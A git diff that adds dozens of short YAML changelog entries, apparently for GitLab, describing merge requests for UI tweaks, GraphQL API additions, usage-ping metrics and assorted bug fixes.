diff --git a/changelogs/unreleased/233670-replace-bootstrap-alerts-app-views-shared-_group_form-html-haml.yml b/changelogs/unreleased/233670-replace-bootstrap-alerts-app-views-shared-_group_form-html-haml.yml
new file mode 100644
index 00000000000..fdbea8f7f04
--- /dev/null
+++ b/changelogs/unreleased/233670-replace-bootstrap-alerts-app-views-shared-_group_form-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/shared/_group_form.html.haml
+merge_request: 41348
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233672-replace-bootstrap-alerts-in-app-views-projects-_deletion_failed-ht.yml b/changelogs/unreleased/233672-replace-bootstrap-alerts-in-app-views-projects-_deletion_failed-ht.yml
new file mode 100644
index 00000000000..515bc1a8040
--- /dev/null
+++ b/changelogs/unreleased/233672-replace-bootstrap-alerts-in-app-views-projects-_deletion_failed-ht.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/projects/_deletion_failed.html.haml
+merge_request: 41344
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233673-replace-bootstrap-alerts-app-views-shared-_project_limit-html-haml.yml b/changelogs/unreleased/233673-replace-bootstrap-alerts-app-views-shared-_project_limit-html-haml.yml
new file mode 100644
index 00000000000..fad92729f65
--- /dev/null
+++ b/changelogs/unreleased/233673-replace-bootstrap-alerts-app-views-shared-_project_limit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/shared/_project_limit.html.haml
+merge_request: 41335
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233685-replace-bootstrap-alerts-in-app-views-shared-issuable-_form-html-h.yml b/changelogs/unreleased/233685-replace-bootstrap-alerts-in-app-views-shared-issuable-_form-html-h.yml
new file mode 100644
index 00000000000..7bf104ebdb9
--- /dev/null
+++ b/changelogs/unreleased/233685-replace-bootstrap-alerts-in-app-views-shared-issuable-_form-html-h.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/shared/issuable/_form.html.haml
+merge_request: 41390
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233689-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-sh.yml b/changelogs/unreleased/233689-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-sh.yml
new file mode 100644
index 00000000000..e41b78d1143
--- /dev/null
+++ b/changelogs/unreleased/233689-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-sh.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/profiles/two_factor_auths/show.html.haml
+merge_request: 41388
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233690-replace-bootstrap-alerts-app-views-projects-blob-edit-html-haml.yml b/changelogs/unreleased/233690-replace-bootstrap-alerts-app-views-projects-blob-edit-html-haml.yml
new file mode 100644
index 00000000000..fc1ad6fb922
--- /dev/null
+++ b/changelogs/unreleased/233690-replace-bootstrap-alerts-app-views-projects-blob-edit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/projects/blob/edit.html.haml
+merge_request: 41298
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233698-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-cr.yml b/changelogs/unreleased/233698-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-cr.yml
new file mode 100644
index 00000000000..cddb2d91147
--- /dev/null
+++ b/changelogs/unreleased/233698-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-cr.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/profiles/two_factor_auths/create.html.haml
+merge_request: 41383
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233703-replace-bootstrap-alerts-in-app-views-projects-forks-error-html-ha.yml b/changelogs/unreleased/233703-replace-bootstrap-alerts-in-app-views-projects-forks-error-html-ha.yml
new file mode 100644
index 00000000000..e9ed91a58ab
--- /dev/null
+++ b/changelogs/unreleased/233703-replace-bootstrap-alerts-in-app-views-projects-forks-error-html-ha.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/projects/forks/error.html.haml
+merge_request: 41292
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233856-cablett-group-users.yml b/changelogs/unreleased/233856-cablett-group-users.yml
new file mode 100644
index 00000000000..047e29c97a7
--- /dev/null
+++ b/changelogs/unreleased/233856-cablett-group-users.yml
@@ -0,0 +1,5 @@
+---
+title: Expose group memberships under group via GraphQL
+merge_request: 39331
+author:
+type: added
diff --git a/changelogs/unreleased/233919-add-instance-statistics-to-usage-ping.yml b/changelogs/unreleased/233919-add-instance-statistics-to-usage-ping.yml
new file mode 100644
index 00000000000..c7873319610
--- /dev/null
+++ b/changelogs/unreleased/233919-add-instance-statistics-to-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Add instance statistics visits to usage data
+merge_request: 42211
+author:
+type: other
diff --git a/changelogs/unreleased/233933-poc-inicident-management-metrics.yml b/changelogs/unreleased/233933-poc-inicident-management-metrics.yml
new file mode 100644
index 00000000000..4205713e440
--- /dev/null
+++ b/changelogs/unreleased/233933-poc-inicident-management-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Add incident management analytics events
+merge_request: 40475
+author:
+type: added
diff --git a/changelogs/unreleased/234011-remove-secret-sast-from-sast-template.yml b/changelogs/unreleased/234011-remove-secret-sast-from-sast-template.yml
new file mode 100644
index 00000000000..2f37732ecc6
--- /dev/null
+++ b/changelogs/unreleased/234011-remove-secret-sast-from-sast-template.yml
@@ -0,0 +1,5 @@
+---
+title: Remove secret_detection job from vendored SAST CI template
+merge_request: 40028
+author:
+type: removed
diff --git a/changelogs/unreleased/234066-create-issuelink-for-vulnerabilities-that-do-not-have-them.yml b/changelogs/unreleased/234066-create-issuelink-for-vulnerabilities-that-do-not-have-them.yml
new file mode 100644
index 00000000000..5304a1c3517
--- /dev/null
+++ b/changelogs/unreleased/234066-create-issuelink-for-vulnerabilities-that-do-not-have-them.yml
@@ -0,0 +1,5 @@
+---
+title: Create IssueLink for Vulnerabilities that do not have them
+merge_request: 40726
+author:
+type: fixed
diff --git a/changelogs/unreleased/235004-shortcut-deploy-to-is-shrinked.yml b/changelogs/unreleased/235004-shortcut-deploy-to-is-shrinked.yml
new file mode 100644
index 00000000000..42f8680a38b
--- /dev/null
+++ b/changelogs/unreleased/235004-shortcut-deploy-to-is-shrinked.yml
@@ -0,0 +1,5 @@
+---
+title: Remove height limit on environments table
+merge_request: 41688
+author:
+type: fixed
diff --git a/changelogs/unreleased/235060-the-service-desk-info-messages-need-to-be-updated.yml b/changelogs/unreleased/235060-the-service-desk-info-messages-need-to-be-updated.yml
new file mode 100644
index 00000000000..6423571ab28
--- /dev/null
+++ b/changelogs/unreleased/235060-the-service-desk-info-messages-need-to-be-updated.yml
@@ -0,0 +1,5 @@
+---
+title: Display informative messages when service desk is unsupported
+merge_request: 40454
+author:
+type: other
diff --git a/changelogs/unreleased/235440-search-query-is-added-without-query-parameter-name-in-the-service-.yml b/changelogs/unreleased/235440-search-query-is-added-without-query-parameter-name-in-the-service-.yml
new file mode 100644
index 00000000000..09b4181ee32
--- /dev/null
+++ b/changelogs/unreleased/235440-search-query-is-added-without-query-parameter-name-in-the-service-.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the filtered search bar to work in the service desk issue list
+merge_request: 40797
+author:
+type: fixed
diff --git a/changelogs/unreleased/235490-generic-packages-generic-type.yml b/changelogs/unreleased/235490-generic-packages-generic-type.yml
new file mode 100644
index 00000000000..72bd2419b8e
--- /dev/null
+++ b/changelogs/unreleased/235490-generic-packages-generic-type.yml
@@ -0,0 +1,5 @@
+---
+title: Add new "generic" package type
+merge_request: 40061
+author:
+type: added
diff --git a/changelogs/unreleased/235653-conan-dependency-bug.yml b/changelogs/unreleased/235653-conan-dependency-bug.yml
new file mode 100644
index 00000000000..470fb08a77f
--- /dev/null
+++ b/changelogs/unreleased/235653-conan-dependency-bug.yml
@@ -0,0 +1,6 @@
+---
+title: Fix bug where conan does not properly check package channel when returning
+ file download urls
+merge_request: 40029
+author:
+type: fixed
diff --git a/changelogs/unreleased/235672-convert-show-more-to-table-row.yml b/changelogs/unreleased/235672-convert-show-more-to-table-row.yml
new file mode 100644
index 00000000000..b95a7293ae0
--- /dev/null
+++ b/changelogs/unreleased/235672-convert-show-more-to-table-row.yml
@@ -0,0 +1,5 @@
+---
+title: Change show more button to be a table row so to remove manual CSS styling
+merge_request: 39788
+author:
+type: changed
diff --git a/changelogs/unreleased/235699-graphql-board-issue-filters.yml b/changelogs/unreleased/235699-graphql-board-issue-filters.yml
new file mode 100644
index 00000000000..55d1f3d4c6d
--- /dev/null
+++ b/changelogs/unreleased/235699-graphql-board-issue-filters.yml
@@ -0,0 +1,5 @@
+---
+title: Add issue filters when listing board issues in GraphQL
+merge_request: 40602
+author:
+type: added
diff --git a/changelogs/unreleased/235729-add-pages_deployment-model.yml b/changelogs/unreleased/235729-add-pages_deployment-model.yml
new file mode 100644
index 00000000000..940fa8d65d0
--- /dev/null
+++ b/changelogs/unreleased/235729-add-pages_deployment-model.yml
@@ -0,0 +1,5 @@
+---
+title: Add pages_deployments table
+merge_request: 41785
+author:
+type: added
diff --git a/changelogs/unreleased/23575-fix-frequent-items-dropdown-logging.yml b/changelogs/unreleased/23575-fix-frequent-items-dropdown-logging.yml
new file mode 100644
index 00000000000..0b8782e78e8
--- /dev/null
+++ b/changelogs/unreleased/23575-fix-frequent-items-dropdown-logging.yml
@@ -0,0 +1,5 @@
+---
+title: Fix tracking of frequently visited projects and groups
+merge_request: 40415
+author:
+type: fixed
diff --git a/changelogs/unreleased/235756-ssh-public-keys-no-longer-public-accessible.yml b/changelogs/unreleased/235756-ssh-public-keys-no-longer-public-accessible.yml
new file mode 100644
index 00000000000..2ccaf5d9eb1
--- /dev/null
+++ b/changelogs/unreleased/235756-ssh-public-keys-no-longer-public-accessible.yml
@@ -0,0 +1,5 @@
+---
+title: Make SSH keys publicly accessible
+merge_request: 42288
+author:
+type: fixed
diff --git a/changelogs/unreleased/235874-propogate-errors-api-fuzzing.yml b/changelogs/unreleased/235874-propogate-errors-api-fuzzing.yml
new file mode 100644
index 00000000000..456b8e1e9fa
--- /dev/null
+++ b/changelogs/unreleased/235874-propogate-errors-api-fuzzing.yml
@@ -0,0 +1,5 @@
+---
+title: Fail API Fuzzing CI/CD job when scanner errors
+merge_request: 41616
+author:
+type: fixed
diff --git a/changelogs/unreleased/235889-jira-importer-user-mapping-shows-50-users-max.yml b/changelogs/unreleased/235889-jira-importer-user-mapping-shows-50-users-max.yml
new file mode 100644
index 00000000000..1fcf6c768e7
--- /dev/null
+++ b/changelogs/unreleased/235889-jira-importer-user-mapping-shows-50-users-max.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Jira importer user mapping limit
+merge_request: 40310
+author:
+type: fixed
diff --git a/changelogs/unreleased/235912-fork-interface-with-prevent-forking-outside-a-group-is-extremely-s.yml b/changelogs/unreleased/235912-fork-interface-with-prevent-forking-outside-a-group-is-extremely-s.yml
new file mode 100644
index 00000000000..dc4963a7446
--- /dev/null
+++ b/changelogs/unreleased/235912-fork-interface-with-prevent-forking-outside-a-group-is-extremely-s.yml
@@ -0,0 +1,5 @@
+---
+title: Fix slow group loading on forking page
+merge_request: 39640
+author:
+type: performance
diff --git a/changelogs/unreleased/235969-fix-docker-icon-in-the-file-icons-svg-map.yml b/changelogs/unreleased/235969-fix-docker-icon-in-the-file-icons-svg-map.yml
new file mode 100644
index 00000000000..9eddfa37b6b
--- /dev/null
+++ b/changelogs/unreleased/235969-fix-docker-icon-in-the-file-icons-svg-map.yml
@@ -0,0 +1,5 @@
+---
+title: Fix docker file icon
+merge_request: 40785
+author:
+type: fixed
diff --git a/changelogs/unreleased/235984-add-filters-to-mrs-graphql-api.yml b/changelogs/unreleased/235984-add-filters-to-mrs-graphql-api.yml
new file mode 100644
index 00000000000..a2eeb1366fc
--- /dev/null
+++ b/changelogs/unreleased/235984-add-filters-to-mrs-graphql-api.yml
@@ -0,0 +1,5 @@
+---
+title: Filter Merge Requests by author, assignee and milestone in GraphQL
+merge_request: 40265
+author:
+type: added
diff --git a/changelogs/unreleased/235993-cohorts-improve-empty-state-to-match-devops-score.yml b/changelogs/unreleased/235993-cohorts-improve-empty-state-to-match-devops-score.yml
new file mode 100644
index 00000000000..345caf0fee8
--- /dev/null
+++ b/changelogs/unreleased/235993-cohorts-improve-empty-state-to-match-devops-score.yml
@@ -0,0 +1,5 @@
+---
+title: Improve empty state for Cohorts to match DevOps Score
+merge_request: 39828
+author:
+type: changed
diff --git a/changelogs/unreleased/236539-remove-epic-tab-container.yml b/changelogs/unreleased/236539-remove-epic-tab-container.yml
new file mode 100644
index 00000000000..6573cba9eff
--- /dev/null
+++ b/changelogs/unreleased/236539-remove-epic-tab-container.yml
@@ -0,0 +1,5 @@
+---
+title: Removes extra spaces on MR/Epic tabs-containers on mobile
+merge_request: 39549
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/23767-add-branch-to-mr-sidebar.yml b/changelogs/unreleased/23767-add-branch-to-mr-sidebar.yml
new file mode 100644
index 00000000000..a42c3c204c2
--- /dev/null
+++ b/changelogs/unreleased/23767-add-branch-to-mr-sidebar.yml
@@ -0,0 +1,5 @@
+---
+title: Display Merge Request's source branch name in sidebar
+merge_request: 34901
+author: Ethan Reesor (@firelizzard)
+type: added
diff --git a/changelogs/unreleased/237793-code-intelligence-usage-ping.yml b/changelogs/unreleased/237793-code-intelligence-usage-ping.yml
new file mode 100644
index 00000000000..e770b3a938d
--- /dev/null
+++ b/changelogs/unreleased/237793-code-intelligence-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Track projects using code intelligence
+merge_request: 41881
+author:
+type: added
diff --git a/changelogs/unreleased/237876-update-prismjs-to-1-21-0.yml b/changelogs/unreleased/237876-update-prismjs-to-1-21-0.yml
new file mode 100644
index 00000000000..98727e87086
--- /dev/null
+++ b/changelogs/unreleased/237876-update-prismjs-to-1-21-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update prismjs from 1.6.0 to 1.21.0
+merge_request: 39593
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/237932-search-ui-implement-issue-scope-results-filter-by-state.yml b/changelogs/unreleased/237932-search-ui-implement-issue-scope-results-filter-by-state.yml
new file mode 100644
index 00000000000..148bcab1524
--- /dev/null
+++ b/changelogs/unreleased/237932-search-ui-implement-issue-scope-results-filter-by-state.yml
@@ -0,0 +1,5 @@
+---
+title: Search UI Allow issue scope results filtering by state
+merge_request: 39881
+author:
+type: changed
diff --git a/changelogs/unreleased/237938-merge-requests-filter-by-state.yml b/changelogs/unreleased/237938-merge-requests-filter-by-state.yml
new file mode 100644
index 00000000000..25465759148
--- /dev/null
+++ b/changelogs/unreleased/237938-merge-requests-filter-by-state.yml
@@ -0,0 +1,5 @@
+---
+title: Search UI - Implement Merge Request scope results filter by state
+merge_request: 41282
+author:
+type: added
diff --git a/changelogs/unreleased/237947-search-api-issues-filter-by-state.yml b/changelogs/unreleased/237947-search-api-issues-filter-by-state.yml
new file mode 100644
index 00000000000..c22642d45f2
--- /dev/null
+++ b/changelogs/unreleased/237947-search-api-issues-filter-by-state.yml
@@ -0,0 +1,5 @@
+---
+title: Add issues and merge_requests filtering by state for search API
+merge_request: 41989
+author:
+type: added
diff --git a/changelogs/unreleased/238111-count-of-the-number-of-self-hosted-smtp-configurations-by-package.yml b/changelogs/unreleased/238111-count-of-the-number-of-self-hosted-smtp-configurations-by-package.yml
new file mode 100644
index 00000000000..2999443a71f
--- /dev/null
+++ b/changelogs/unreleased/238111-count-of-the-number-of-self-hosted-smtp-configurations-by-package.yml
@@ -0,0 +1,5 @@
+---
+title: Add smtp_server to usage ping data
+merge_request: 39844
+author:
+type: changed
diff --git a/changelogs/unreleased/238116-redis-hll-search-analytics.yml b/changelogs/unreleased/238116-redis-hll-search-analytics.yml
new file mode 100644
index 00000000000..84b7160eca2
--- /dev/null
+++ b/changelogs/unreleased/238116-redis-hll-search-analytics.yml
@@ -0,0 +1,5 @@
+---
+title: Add the unique search visits data to the usage ping
+merge_request: 40134
+author:
+type: changed
diff --git a/changelogs/unreleased/238156_create_scan_findings_entity.yml b/changelogs/unreleased/238156_create_scan_findings_entity.yml
new file mode 100644
index 00000000000..6fe9d6df13d
--- /dev/null
+++ b/changelogs/unreleased/238156_create_scan_findings_entity.yml
@@ -0,0 +1,5 @@
+---
+title: Create `security_findings` table
+merge_request: 40368
+author:
+type: added
diff --git a/changelogs/unreleased/238165-fix_project_create_authorization_for_admin.yml b/changelogs/unreleased/238165-fix_project_create_authorization_for_admin.yml
new file mode 100644
index 00000000000..96761d940e6
--- /dev/null
+++ b/changelogs/unreleased/238165-fix_project_create_authorization_for_admin.yml
@@ -0,0 +1,5 @@
+---
+title: Do not add admins as owners to project authorizations during project creation
+merge_request: 42335
+author:
+type: fixed
diff --git a/changelogs/unreleased/238485-generic-alert-environment.yml b/changelogs/unreleased/238485-generic-alert-environment.yml
new file mode 100644
index 00000000000..79a73bdbd94
--- /dev/null
+++ b/changelogs/unreleased/238485-generic-alert-environment.yml
@@ -0,0 +1,5 @@
+---
+title: Add ability to associate Environment with Alert with gitlab_environment_name payload key
+merge_request: 39785
+author:
+type: added
diff --git a/changelogs/unreleased/238562-create-issuable_severities-table.yml b/changelogs/unreleased/238562-create-issuable_severities-table.yml
new file mode 100644
index 00000000000..f475f481fef
--- /dev/null
+++ b/changelogs/unreleased/238562-create-issuable_severities-table.yml
@@ -0,0 +1,5 @@
+---
+title: Add IssuableSeverity to store Incident severity level
+merge_request: 40272
+author:
+type: added
diff --git a/changelogs/unreleased/238564-graphql-mutation-to-update-incident-severity.yml b/changelogs/unreleased/238564-graphql-mutation-to-update-incident-severity.yml
new file mode 100644
index 00000000000..71cbd317eb6
--- /dev/null
+++ b/changelogs/unreleased/238564-graphql-mutation-to-update-incident-severity.yml
@@ -0,0 +1,5 @@
+---
+title: Allows to update incident severity via GraphQL
+merge_request: 40869
+author:
+type: added
diff --git a/changelogs/unreleased/238568-add-incident-severity-to-issue-graphql-query.yml b/changelogs/unreleased/238568-add-incident-severity-to-issue-graphql-query.yml
new file mode 100644
index 00000000000..16dab226d09
--- /dev/null
+++ b/changelogs/unreleased/238568-add-incident-severity-to-issue-graphql-query.yml
@@ -0,0 +1,5 @@
+---
+title: Exposes Incident's severity via GraphQL
+merge_request: 40945
+author:
+type: added
diff --git a/changelogs/unreleased/238571-populate-severity-for-incident-created-from-alert.yml b/changelogs/unreleased/238571-populate-severity-for-incident-created-from-alert.yml
new file mode 100644
index 00000000000..51b0d29b271
--- /dev/null
+++ b/changelogs/unreleased/238571-populate-severity-for-incident-created-from-alert.yml
@@ -0,0 +1,5 @@
+---
+title: Set incident severity when it is created from an alert.
+merge_request: 42072
+author:
+type: added
diff --git a/changelogs/unreleased/238723-migrate-instances-of-expand-and-compress-icons-to-maximize-and-min.yml b/changelogs/unreleased/238723-migrate-instances-of-expand-and-compress-icons-to-maximize-and-min.yml
new file mode 100644
index 00000000000..d8075078c26
--- /dev/null
+++ b/changelogs/unreleased/238723-migrate-instances-of-expand-and-compress-icons-to-maximize-and-min.yml
@@ -0,0 +1,6 @@
+---
+title: Syncronize use of maximize and minimize icons in order to deprecate duplicates
+ with different names
+merge_request: 39889
+author:
+type: other
diff --git a/changelogs/unreleased/238964-fj-track-global-editing-actions.yml b/changelogs/unreleased/238964-fj-track-global-editing-actions.yml
new file mode 100644
index 00000000000..9326357a954
--- /dev/null
+++ b/changelogs/unreleased/238964-fj-track-global-editing-actions.yml
@@ -0,0 +1,5 @@
+---
+title: Track edit by editor action for Usage Ping
+merge_request: 40232
+author:
+type: changed
diff --git a/changelogs/unreleased/238969-Web-IDE-Rename-Job-Trace-To-Job-Logs.yml b/changelogs/unreleased/238969-Web-IDE-Rename-Job-Trace-To-Job-Logs.yml
new file mode 100644
index 00000000000..3afdfa77733
--- /dev/null
+++ b/changelogs/unreleased/238969-Web-IDE-Rename-Job-Trace-To-Job-Logs.yml
@@ -0,0 +1,5 @@
+---
+title: Rename job trace to job logs in IDE code
+merge_request: 41522
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/238986-add-zip-typ-to-pages-api-using-artifacts-zip-archive.yml b/changelogs/unreleased/238986-add-zip-typ-to-pages-api-using-artifacts-zip-archive.yml
new file mode 100644
index 00000000000..48ddc2a60ca
--- /dev/null
+++ b/changelogs/unreleased/238986-add-zip-typ-to-pages-api-using-artifacts-zip-archive.yml
@@ -0,0 +1,5 @@
+---
+title: Save pages build artifact id in pages metadata
+merge_request: 40592
+author:
+type: added
diff --git a/changelogs/unreleased/239116-add-merge-request-sort-options-to-graphql.yml b/changelogs/unreleased/239116-add-merge-request-sort-options-to-graphql.yml
new file mode 100644
index 00000000000..5f1698427a4
--- /dev/null
+++ b/changelogs/unreleased/239116-add-merge-request-sort-options-to-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add MergeRequest sort options to GraphQL API
+merge_request: 40138
+author:
+type: added
diff --git a/changelogs/unreleased/239195-slash-to-start-search-shortcut.yml b/changelogs/unreleased/239195-slash-to-start-search-shortcut.yml
new file mode 100644
index 00000000000..cfc02d2ad46
--- /dev/null
+++ b/changelogs/unreleased/239195-slash-to-start-search-shortcut.yml
@@ -0,0 +1,5 @@
+---
+title: Add `/` as keyboard shortcut for search
+merge_request: 40057
+author:
+type: added
diff --git a/changelogs/unreleased/239341-fj-allow-snippet-move-action-without-file-path.yml b/changelogs/unreleased/239341-fj-allow-snippet-move-action-without-file-path.yml
new file mode 100644
index 00000000000..3762b1ae98e
--- /dev/null
+++ b/changelogs/unreleased/239341-fj-allow-snippet-move-action-without-file-path.yml
@@ -0,0 +1,5 @@
+---
+title: Allow snippet move action without an existing file name
+merge_request: 40343
+author:
+type: fixed
diff --git a/changelogs/unreleased/239355-alert-incident-count.yml b/changelogs/unreleased/239355-alert-incident-count.yml
new file mode 100644
index 00000000000..61776dc189d
--- /dev/null
+++ b/changelogs/unreleased/239355-alert-incident-count.yml
@@ -0,0 +1,5 @@
+---
+title: Increase default page size for Alert and Incident management to 20 from 10
+merge_request: 40139
+author:
+type: changed
diff --git a/changelogs/unreleased/239562-graphql-add-starredprojects-to-user.yml b/changelogs/unreleased/239562-graphql-add-starredprojects-to-user.yml
new file mode 100644
index 00000000000..57ee025ebbb
--- /dev/null
+++ b/changelogs/unreleased/239562-graphql-add-starredprojects-to-user.yml
@@ -0,0 +1,5 @@
+---
+title: Expose a list of projects starred by the user to GraphQL API
+author: Pavel Kuznetsov
+merge_request: 41076
+type: added
diff --git a/changelogs/unreleased/240874-expose-alert-via-issues-type.yml b/changelogs/unreleased/240874-expose-alert-via-issues-type.yml
new file mode 100644
index 00000000000..023e3483293
--- /dev/null
+++ b/changelogs/unreleased/240874-expose-alert-via-issues-type.yml
@@ -0,0 +1,5 @@
+---
+title: Add alert to Issue type in GraphQL
+merge_request: 40214
+author:
+type: added
diff --git a/changelogs/unreleased/240906-rollout-search-track-unique-users.yml b/changelogs/unreleased/240906-rollout-search-track-unique-users.yml
new file mode 100644
index 00000000000..b8bb1ab886d
--- /dev/null
+++ b/changelogs/unreleased/240906-rollout-search-track-unique-users.yml
@@ -0,0 +1,5 @@
+---
+title: Enable unique search users usage ping HLL metric by default
+merge_request: 41739
+author:
+type: added
diff --git a/changelogs/unreleased/240921-fix-merge-request-diff-file-invalid-base64.yml b/changelogs/unreleased/240921-fix-merge-request-diff-file-invalid-base64.yml
new file mode 100644
index 00000000000..5975dafdd9b
--- /dev/null
+++ b/changelogs/unreleased/240921-fix-merge-request-diff-file-invalid-base64.yml
@@ -0,0 +1,5 @@
+---
+title: Fix reading some merge request diffs
+merge_request: 40598
+author:
+type: fixed
diff --git a/changelogs/unreleased/240921-fix-merge-request-diff-files-count.yml b/changelogs/unreleased/240921-fix-merge-request-diff-files-count.yml
new file mode 100644
index 00000000000..34193383cdd
--- /dev/null
+++ b/changelogs/unreleased/240921-fix-merge-request-diff-files-count.yml
@@ -0,0 +1,5 @@
+---
+title: Fix incorrect merge request diff file count after deletion
+merge_request: 40384
+author:
+type: fixed
diff --git a/changelogs/unreleased/240949-update-package-limit-defaults.yml b/changelogs/unreleased/240949-update-package-limit-defaults.yml
new file mode 100644
index 00000000000..40837f2fc95
--- /dev/null
+++ b/changelogs/unreleased/240949-update-package-limit-defaults.yml
@@ -0,0 +1,5 @@
+---
+title: Update default plan limits for maximum package file sizes
+merge_request: 40410
+author:
+type: changed
diff --git a/changelogs/unreleased/240951-package-size-limits-ui.yml b/changelogs/unreleased/240951-package-size-limits-ui.yml
new file mode 100644
index 00000000000..5f98146bb88
--- /dev/null
+++ b/changelogs/unreleased/240951-package-size-limits-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Add admin UI for adjusting package file size limits
+merge_request: 40423
+author:
+type: added
diff --git a/changelogs/unreleased/241000-front-matter-parsing.yml b/changelogs/unreleased/241000-front-matter-parsing.yml
new file mode 100644
index 00000000000..a5a1b466ea4
--- /dev/null
+++ b/changelogs/unreleased/241000-front-matter-parsing.yml
@@ -0,0 +1,5 @@
+---
+title: Add toml and json front matter language support to Static Site Editor's WYSIWYG mode
+merge_request: 40718
+author:
+type: added
diff --git a/changelogs/unreleased/241002-edit-drawer.yml b/changelogs/unreleased/241002-edit-drawer.yml
new file mode 100644
index 00000000000..df2c21b41bf
--- /dev/null
+++ b/changelogs/unreleased/241002-edit-drawer.yml
@@ -0,0 +1,5 @@
+---
+title: Add a front matter editing UI in WYSIWYG mode of the Static Site Editor
+merge_request: 41920
+author:
+type: added
diff --git a/changelogs/unreleased/241144-fj-add-non-internal-filter-to-users-rest-endpoint.yml b/changelogs/unreleased/241144-fj-add-non-internal-filter-to-users-rest-endpoint.yml
new file mode 100644
index 00000000000..1b0cd053975
--- /dev/null
+++ b/changelogs/unreleased/241144-fj-add-non-internal-filter-to-users-rest-endpoint.yml
@@ -0,0 +1,5 @@
+---
+title: Add filter to exclude non internal users in REST API
+merge_request: 40372
+author:
+type: changed
diff --git a/changelogs/unreleased/241199-fix-snippet-loading-json-content.yml b/changelogs/unreleased/241199-fix-snippet-loading-json-content.yml
new file mode 100644
index 00000000000..02ed0c17e58
--- /dev/null
+++ b/changelogs/unreleased/241199-fix-snippet-loading-json-content.yml
@@ -0,0 +1,5 @@
+---
+title: Fix snippets edit not loading JSON values
+merge_request: 40417
+author:
+type: fixed
diff --git a/changelogs/unreleased/241206-environmenturl-api-fuzzing-docs.yml b/changelogs/unreleased/241206-environmenturl-api-fuzzing-docs.yml
new file mode 100644
index 00000000000..a51e171242a
--- /dev/null
+++ b/changelogs/unreleased/241206-environmenturl-api-fuzzing-docs.yml
@@ -0,0 +1,5 @@
+---
+title: Add support for environment_url.txt to API Fuzzing
+merge_request: 41523
+author:
+type: added
diff --git a/changelogs/unreleased/241359-nomethoderror-error.yml b/changelogs/unreleased/241359-nomethoderror-error.yml
new file mode 100644
index 00000000000..abd3c27e62b
--- /dev/null
+++ b/changelogs/unreleased/241359-nomethoderror-error.yml
@@ -0,0 +1,5 @@
+---
+title: 'Do not raise error when a member is not found by invite token'
+merge_request: 42349
+author:
+type: fixed
diff --git a/changelogs/unreleased/241359-nomethoderror-undefined-method-invite_email-for-actionview-outputb.yml b/changelogs/unreleased/241359-nomethoderror-undefined-method-invite_email-for-actionview-outputb.yml
new file mode 100644
index 00000000000..36c5c819f00
--- /dev/null
+++ b/changelogs/unreleased/241359-nomethoderror-undefined-method-invite_email-for-actionview-outputb.yml
@@ -0,0 +1,5 @@
+---
+title: 'Resolve NoMethodError: undefined method invite_email'
+merge_request: 41587
+author:
+type: fixed
diff --git a/changelogs/unreleased/241492-check-pypi-metadata-size.yml b/changelogs/unreleased/241492-check-pypi-metadata-size.yml
new file mode 100644
index 00000000000..4f91cefa953
--- /dev/null
+++ b/changelogs/unreleased/241492-check-pypi-metadata-size.yml
@@ -0,0 +1,5 @@
+---
+title: Validates pypi required_python size to avoid 500 error
+merge_request: 40803
+author:
+type: fixed
diff --git a/changelogs/unreleased/241492-increase-pypi-version-size.yml b/changelogs/unreleased/241492-increase-pypi-version-size.yml
new file mode 100644
index 00000000000..bad6cedfbec
--- /dev/null
+++ b/changelogs/unreleased/241492-increase-pypi-version-size.yml
@@ -0,0 +1,5 @@
+---
+title: Increase Pypi required_version limit to 255
+merge_request: 41018
+author:
+type: changed
diff --git a/changelogs/unreleased/241531-user-unable-to-delete-project.yml b/changelogs/unreleased/241531-user-unable-to-delete-project.yml
new file mode 100644
index 00000000000..b05a30d56c9
--- /dev/null
+++ b/changelogs/unreleased/241531-user-unable-to-delete-project.yml
@@ -0,0 +1,5 @@
+---
+title: Fix delete confirm message not displaying trailing spaces
+merge_request: 40549
+author:
+type: fixed
diff --git a/changelogs/unreleased/241673-expose-instance-statistics-via-graphql.yml b/changelogs/unreleased/241673-expose-instance-statistics-via-graphql.yml
new file mode 100644
index 00000000000..b5fbb43ebaa
--- /dev/null
+++ b/changelogs/unreleased/241673-expose-instance-statistics-via-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Expose Instance Statistics measurements (object counts) via GraphQL
+merge_request: 40871
+author:
+type: added
diff --git a/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml b/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml
new file mode 100644
index 00000000000..fcf9d603c56
--- /dev/null
+++ b/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml
